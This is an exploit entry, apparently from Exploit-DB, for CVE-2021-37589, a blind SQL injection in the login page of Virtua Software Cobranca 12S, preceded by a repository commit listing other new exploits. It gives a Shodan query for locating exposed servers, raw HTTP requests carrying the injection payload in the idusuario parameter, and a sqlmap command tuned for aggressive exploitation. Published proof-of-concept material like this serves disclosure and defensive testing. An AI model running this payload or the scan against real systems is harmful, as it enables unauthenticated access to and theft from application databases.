29e275db94
16 changes to exploits/shellcodes Real Player v.20.0.8.310 G2 Control - 'DoGoToURL()' Remote Code Execution (RCE) Real Player 16.0.3.51 - 'external::Import()' Directory Traversal to Remote Code Execution (RCE) HP LaserJet Professional M1210 MFP Series Receive Fax Service - Unquoted Service Path Marval MSM v14.19.0.12476 - Remote Code Execution (RCE) (Authenticated) Virtua Software Cobranca 12S - SQLi Marval MSM v14.19.0.12476 - Cross-Site Request Forgery (CSRF) Algo 8028 Control Panel - Remote Code Execution (RCE) (Authenticated) TP-Link Router AX50 firmware 210730 - Remote Code Execution (RCE) (Authenticated) Sourcegraph Gitserver 3.36.3 - Remote Code Execution (RCE) Avantune Genialcloud ProJ 10 - Cross-Site Scripting (XSS) Pandora FMS v7.0NG.742 - Remote Code Execution (RCE) (Authenticated) phpIPAM 1.4.5 - Remote Code Execution (RCE) (Authenticated) ChurchCRM 4.4.5 - SQLi Old Age Home Management System 1.0 - SQLi Authentication Bypass SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting (XSS) SolarView Compact 6.00 - 'pow' Cross-Site Scripting (XSS)
57 lines
No EOL
2 KiB
Text
57 lines
No EOL
2 KiB
Text
# Exploit Title: Virtua Software Cobranca 12S - SQLi
|
|
# Shodan Query: http.favicon.hash:876876147
|
|
# Date: 13/08/2021
|
|
# Exploit Author: Luca Regne
|
|
# Vendor Homepage: https://www.virtuasoftware.com.br/
|
|
# Software Link: https://www.virtuasoftware.com.br/downloads/Cobranca12S_13_08.exe
|
|
# Version: 12S
|
|
# Tested on: Windows Server 2019
|
|
# CVE : CVE-2021-37589
|
|
------------------------------------------------------------------------
|
|
|
|
|
|
## Description
|
|
A Blind SQL injection vulnerability in a Login Page (/controller/login.php) in Virtua Cobranca 12S version allows remote unauthenticated attackers to get information about application executing arbitrary SQL commands by idusuario parameter.
|
|
|
|
## Request PoC
|
|
```
|
|
POST /controller/login.php?acao=autenticar HTTP/1.1
|
|
Host: redacted.com
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
|
|
Accept: application/json, text/javascript, */*; q=0.01
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Length: 37
|
|
Connection: close
|
|
Cookie: origem_selecionado=; PHPSESSID=
|
|
|
|
idusuario='&idsenha=awesome_and_unprobaly_password&tipousr=Usuario
|
|
|
|
```
|
|
|
|
This request causes an error 500. Changing the idusuario to "'+AND+'1'%3d'1'--" the response to request was 200 status code with message of authentication error.
|
|
|
|
```
|
|
POST /controller/login.php?acao=autenticar HTTP/1.1
|
|
Host: redacted.com
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
|
|
Accept: application/json, text/javascript, */*; q=0.01
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Length: 37
|
|
Connection: close
|
|
Cookie: origem_selecionado=; PHPSESSID=
|
|
|
|
idusuario='+AND+'1'='1'--&idsenha=a&tipousr=Usuario
|
|
|
|
```
|
|
|
|
## Exploit
|
|
Save the request from burp to file
|
|
```bash
|
|
python3 sqlmap.py -r ~/req-virtua.txt -p idusuario --dbms firebird --level 5 --risk 3 --random-agent
|
|
``` |